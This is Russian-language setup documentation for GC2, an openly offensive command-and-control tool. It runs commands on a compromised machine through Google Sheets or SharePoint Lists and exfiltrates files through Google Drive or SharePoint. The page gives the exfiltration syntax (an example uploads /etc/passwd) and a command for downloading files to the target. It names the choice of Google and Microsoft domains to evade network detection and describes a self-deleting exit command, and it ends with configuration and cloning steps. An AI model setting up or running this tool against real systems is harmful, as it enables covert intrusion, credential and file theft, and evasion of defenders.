
GC2 — это приложение для управления и контроля (C2), которое позволяет злоумышленнику выполнять команды на целевой машине с помощью Google Sheet или Microsoft SharePoint List и эксфильтровать файлы с помощью Google Drive или Microsoft SharePoint Document.
GC2 (Google Command and Control) — это приложение Command and Control, которое позволяет атакующему выполнять команды на целевой машине, используя Google Sheet или Microsoft SharePoint List, и эксфильтровать файлы с помощью Google Drive или Microsoft SharePoint Document.
Этот проект был разработан для предоставления системы управления и контроля, которая не требует особой настройки (например, собственного домена, VPS, CDN и т. д.) во время Red Team-активностей.
Кроме того, программа будет взаимодействовать только с доменами Google и Microsoft (например, *.google.com), чтобы усложнить обнаружение сетевыми средствами защиты.
Google Sheet будет автоматически создан C2. После создания вы можете взаимодействовать с скомпрометированной системой, как показано ниже.
Microsoft SharePoint List будет автоматически создан C2. После создания вы можете взаимодействовать с скомпрометированной системой, как показано ниже.
Для эксфильтрации файлов с целевой системы зарезервирована специальная команда.
From Target to Google Drive/Microsoft SharePoint Document
upload;<local path>
Example:
upload;/etc/passwd
Примечание: файлы с одинаковыми именами автоматически перезаписываются.
Для загрузки файлов на целевую систему зарезервирована специальная команда.
From Google Drive to Target
download;<google drive file id>;<local path>
Example:
download;<file ID>;/home/user/downloaded.txt
Примечание: файлы должны быть сохранены в корневой папке SharePoint, обычно "Documents"
From SharePoint to Target
download;<SharePoint file path>;<local path>
Example:
download;download.txt;/home/user/downloaded.txt
При отправке команды exit C2 уничтожит и удалит себя с целевой системы.
Примечание: из документации os: If a symlink was used to start the process, depending on the operating system, the result might be the symlink or the path it pointed to. В этом случае удаляется символическая ссылка.
Данный C2 поддерживает как сервисы Google (Google Sheet + Google Drive), так и Microsoft (SharePoint Lists + SharePoint Document). Для использования C2 необходимо настроить как локальную, так и облачную конфигурацию.
Создайте новый "сервисный аккаунт" Google
Создайте новый "сервисный аккаунт" Google с помощью https://console.cloud.google.com/, создайте файл ключа .json для сервисного аккаунта.
Включите Google Sheet API и Google Drive API
Включите Google Drive API https://developers.google.com/drive/api/v3/enable-drive-api и Google Sheet API https://developers.google.com/sheets/api/quickstart/go.
Настройте Google Sheet и Google Drive
Создайте новый Google Sheet и предоставьте к нему доступ (как редактору) сервисному аккаунту (используя его email).
Создайте новую папку Google Drive и предоставьте к ней доступ (как редактору) сервисному аккаунту (используя его email).
Для взаимодействия с сервисами Microsoft вам потребуется Business-подписка (вы можете получить бесплатную подписку на первые 30 дней).
Создайте приложение Azure
Создайте новое приложение Azure, как описано здесь https://learn.microsoft.com/ru-ru/graph/auth-v2-service?tabs=http
После создания нового приложения включите следующие API Graph:
Загрузите C2
C2 можно клонировать напрямую из GitHub:
git clone https://github.com/looCiprian/GC2-sheet
cd GC2-sheet
Настройте C2
Для настройки C2 необходимо изменить файл cmd/options.yml. C2 поддерживает как сервисы Google, так и Microsoft, также возможно их смешивание.
Только сервисы Google
CommandService: "Google" # Google Sheet will be used as command service to pull commands and push commands' output
FileSystemService: "Google" # Google Drive will be used as file system to download and exfiltrate files
GoogleServiceAccountKey : "1234567890" # your escaped json file
GoogleSheetID: "0987654321" # your Google Sheet ID (can be found in the URL)
GoogleDriveID: "1234554321" # your Google Drive folder ID (can be found in the URL)
#RowId: 1 # optional, specify from which (Google Sheet or SharePoint List) row the beacon should pull new commands
#Proxy: "http://127.0.0.1:8080" # optional, specify the proxy
Verbose: true # optional, suggested for debugging purposes
Перед вставкой ключа сервисного аккаунта Google в конфигурационный файл его необходимо экранировать. Для экранирования используйте следующую команду:
cat key.json | jq -r @json | sed 's/\\n/\\\\n/g' | sed 's/\"/\\"/g'